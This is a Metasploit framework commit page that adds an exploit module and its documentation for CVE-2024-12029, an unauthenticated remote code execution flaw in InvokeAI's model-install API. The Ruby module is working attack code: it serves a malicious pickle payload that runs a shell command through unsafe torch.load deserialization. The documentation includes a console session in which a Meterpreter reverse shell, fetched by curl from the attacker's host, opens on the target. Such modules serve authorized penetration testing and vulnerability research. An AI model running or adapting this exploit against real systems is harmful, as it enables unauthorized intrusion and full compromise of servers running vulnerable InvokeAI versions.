Skip to content

Commit

Permalink
Land #19883, module for unauthenticated RCE in InvokeAI
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Feb 18, 2025
2 parents e60be7f + 6eaae79 commit bd42b23
Show file tree
Hide file tree
Showing 2 changed files with 252 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
## Vulnerable Application

InvokeAI has a critical vulnerability leading to remote code execution
in the /api/v2/models/install API through unsafe model deserialization.
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
This functionality allows attackers to embed malicious code in model files that execute upon loading.

The vulnerability affects:

* 4.0.0 <= InvokeAI <= 5.4.2

This module was successfully tested on:

* InvokeAI 5.3.1 installed on Ubuntu 22.04


### Installation

Follow the [official instructions](https://invoke-ai.github.io/InvokeAI/installation/manual/#walkthrough)

1. Install uv:

`curl -LsSf https://astral.sh/uv/install.sh | sh`

2. Create a directory for your installation:

```bash
mkdir ~/invokeai
cd ~/invokeai
```

3. Create a virtual environment in that directory:

`uv venv --relocatable --prompt invoke --python 3.11 --python-preference only-managed .venv`

4. Activate the virtual environment:

`source .venv/bin/activate`

5. Install the invokeai package:

```bash
uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed --index=https://download.pytorch.org/whl/cpu --force-reinstall
```

6. Deactivate and reactivate your venv so that the invokeai-specific commands become available in the environment:

`deactivate && source .venv/bin/activate`

7. Edit ~/invokeai/invoke.yaml:

```yaml
# Internal metadata - do not edit:
schema_version: 4.0.2

# Put user settings here - see https://invoke-ai.github.io/InvokeAI/features/CONFIGURATION/:
host: 0.0.0.0 # serve the app on your local network
```
8. Run the application, specifying the directory you created earlier as the root directory:
`invokeai-web --root ~/invokeai`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/invokeai_rce_cve_2024_12029`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options


## Scenarios
```
msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options

Module options (exploit/linux/http/invokeai_rce_cve_2024_12029):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9090 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME CdRqUbPlDQJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 5.3.1 detected.
[*] Using URL: http://192.168.56.1:8081/Z8KmlibT
[*] Server started.
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:48294) at 2025-02-16 15:24:41 +0900
[*] Server stopped.

meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer : 192.168.56.17
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
111 changes: 111 additions & 0 deletions modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'InvokeAI RCE',
'Description' => %q{
InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization.
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
This functionality allows attackers to embed malicious code in model files that execute upon loading.
},
'Author' => [
'jackfromeast', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-12029'],
['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'],
],
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultOptions' => {
'FETCH_DELETE' => true
},
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '\'"'
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2025-02-07',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(9090),
]
)

register_advanced_options([
OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/app/version')
})
return Exploit::CheckCode::Unknown unless res&.code == 200

json_version = res&.get_json_document&.fetch('version', nil)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version

version = Rex::Version.new(json_version)
return Exploit::CheckCode::Unknown('Failed to get version.') unless version

return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2'))

Exploit::CheckCode::Appears("Version #{version} detected.")
end

def on_request_uri(cli, _request)
send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')"))
end

def primer
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'),
'headers' => { 'Content-Type' => 'application/json' },
'vars_get' => {
# Malicious model path, not .pkl
'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt",
'inplace' => 'true'
},
'data' => {}.to_json
})
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201
end

def exploit
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end

end

0 comments on commit bd42b23

Please sign in to comment.